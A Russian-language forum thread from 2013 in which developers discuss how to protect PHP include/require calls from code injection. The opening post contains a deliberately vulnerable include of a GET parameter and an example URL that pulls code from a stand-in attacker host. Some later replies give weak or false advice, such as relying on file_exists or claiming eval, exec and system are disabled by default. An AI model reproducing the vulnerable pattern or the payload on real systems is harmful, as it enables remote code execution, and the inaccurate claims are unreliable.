Инъекция исполняемого кода
1.
Украина (10.01.2013 / 16:43)
Все я думаю знают, а кто не знает, будет знать, такие уязвимые функции:
eval()
preg_replace() (с модификаторм "е")
require_once()
include_once()
require()
include()
create_function()
Вот хотелось бы поговорить от том кто как от этого лечится. как правильно отфильтровать в тех или иных случаях.
О первой функции (eval) говорить не будем, так как ее вобще не рекомендую использовать.
О второй по списку поговорим потом, так как меня больше интересуют функции с третей по четвертую. В принципе они исполняют почти одно и тоже, поэтому их можно объединить в одну главу.
И так эти функции могут нести в себе кучу дыр. Фактически дыра там одна и выглядит примерно так:
<?
....
$module = $_GET['module'];
include $module . '.php';
....
?>
Уязвимость:
h t t p : / / mysite . com / index . php ? module = h t t p : / / hackersite . com / inc
Как, в каком случае правильнее и каким способом отфильтровать данные.
Показываем примером кода...
2.
Украина (11.01.2013 / 04:05)
На wiki
http://ru.wikipedia.org/wiki/PHP-инъекция
прелагают вот так:
Проверять, что $module присвоено одно из допустимых значений.
<?
...
$module = $_GET['module'];
$arr = array('main', 'about', 'links', 'forum');
if (!in_array($module,$arr)) $module = $arr[0];
include $module . '.php';
...
?>
Проверять, не содержит ли переменная $module посторонние символы:
<?
...
$module = $_GET['module'];
if (strpbrk($module, '.?/:')) die('Blocked');
include $module. '.php';
...
?>
а какие еще способы существуют?
3.
юЮЮфюв (11.01.2013 / 04:54)
Ну, я бы в базе завел табличку с информацией о модулях и перед инклудом проверял бы наличие в этой таблице
Добавлено через 00:46 сек.
Это по сути то же, что и твой пример с массивом
4.
Андрюха (11.01.2013 / 08:55)
if(file_exists($module))
{
echo'норм';
} else {
echo'Не нрм';
}
5.
Артур (11.01.2013 / 10:26)
зачем тебе принимать от клиента информацию о модулей? Эту информацию должен знать сервер
6.
Николай (11.01.2013 / 12:24)
а если указывать полный путь до модулья
Через массив $_SERVER ?
7.
alert (11.01.2013 / 12:33)
Тема - бред.
Если писать в "таком стиле", то любой яп одна большая дыра.
8.
Украина (11.01.2013 / 13:59)
Happy Trololo (11 Января 2013 / 02:54)
Ну, я бы в базе завел табличку с информацией о модулях и перед инклудом проверял бы наличие в этой таблице
Добавлено через 00:46 сек.
Это по сути то же, что и твой пример с массивом
А лишняя нагрузка на сервер базы не будет?
9.
Украина (11.01.2013 / 14:11)
4.
Wapruks,
Думаю такой вариант можно попробовать!
10.
Изнаур (11.01.2013 / 14:14)
интересно когда вообще может понадобиться принимать запросы от пользователей для инклуда?
11.
Украина (11.01.2013 / 14:21)
7.
alert, почему бред. Вот писал кто то так. Зашел сюда, увидел как не нужно. Исправился.
Умными и знающими не рождаются, а становятся.
12.
Артур (11.01.2013 / 14:48)
11.
alexua, не проще книжку прочитать прежде чем начинать что то писать?
13.
Украина (11.01.2013 / 14:52)
Башка (11 Января 2013 / 08:26)
зачем тебе принимать от клиента информацию о модулей? Эту информацию должен знать сервер
Это не нужда - это возможность подключения левого файла если нет фильтра.
Добавлено через 09:32 сек.
Башка (11 Января 2013 / 12:48)
11. alexua, не проще книжку прочитать прежде чем начинать что то писать?
Все и обо всем в книге же не напишут. тем более что из 10 только одна правильно описывает и рассказывает. Да и время не стоит на месте. То что когда то было хорошо, может быть плохо или совсем не безопасно.
14.
Украина (11.01.2013 / 15:07)
Iznaur95 (11 Января 2013 / 12:14)
интересно когда вообще может понадобиться принимать запросы от пользователей для инклуда?
Тогда, когда например очень большой вес файла. а на сервере его держать не возможно или не нужно и т.д. и т.п.
Но в данной ситуации надо защитится от возможности это сделать.
Добавлено через 04:43 сек.
Вот пожалуй один из лучших примеров.
Конструкция с оператором switch, например так:
<?php
...
$module = $_GET['module'];
switch ($module) // $case - имя переменной передаваемой в параметре к скрипту
{
case news: include(news.php); break;
case articles: include(articles.php); break;
... // и т.д.
// если в переменной $case отсутствует значение, то открывается главная страница
default: include(main.php); break;
}
...
?>
15.
Артур (11.01.2013 / 19:01)
alexua (11 Января 2013 / 14:52)
Это не нужда - это возможность подключения левого файла если нет фильтра.
Добавлено через 09:32 сек.
Все и обо всем в книге же не напишут. тем более что из 10 только одна правильно описывает и рассказывает. Да и время не стоит на месте. То что когда то было хорошо, может быть плохо или совсем не безопасно.
Не нужна такая возможность подключения
левого файла в коде.
Пишут, поверь мне все что нужно пишут
16.
Андрей (10.02.2013 / 03:39)
alert (11 Января 2013 / 12:33)
Тема - бред.
Если писать в "таком стиле", то любой яп одна большая дыра.
Самый умный ответ! Поддерживаю.
Кто пишет в таком стиле пусть бросает это дело сегодня же - это не его.
17.
Владислав (10.02.2013 / 04:06)
Зачем вообще инклюдить файл из переменной.
18.
Apeccc (10.02.2013 / 06:18)
17.
eXtaZy, нет времени объяснять, просто бери и инклудь файл из переменной.
19.
Кевин Митник (10.02.2013 / 06:24)
***ство потому что. Выше написано.
20.
Женек (10.02.2013 / 08:47)
плюсую все кто сказал что это бред. Автор, не майся фигней
21.
Станислав Крунич (09.08.2013 / 09:20)
Вы еще такое пишете ? За это не нужно в скором времени будет беспокоиться..
Инъекции в скриптах были опасны 5 лет назад...
Сейчас PHP 5.5 C версии 5.3 используйте sp_register_autoload() и namespaces!
И никогда не волнуйтесь по поводу include , require.
SQL тоже самое ,PDO и подготовленные выражения как замена intval() и mysql_real_esc ...как там там дальше , забыл )).
А такие функции , как eval(), exec(), system() по умолчанию всегда отключены.. Буря в стакане
URL:
https://visavi.net/topics/36150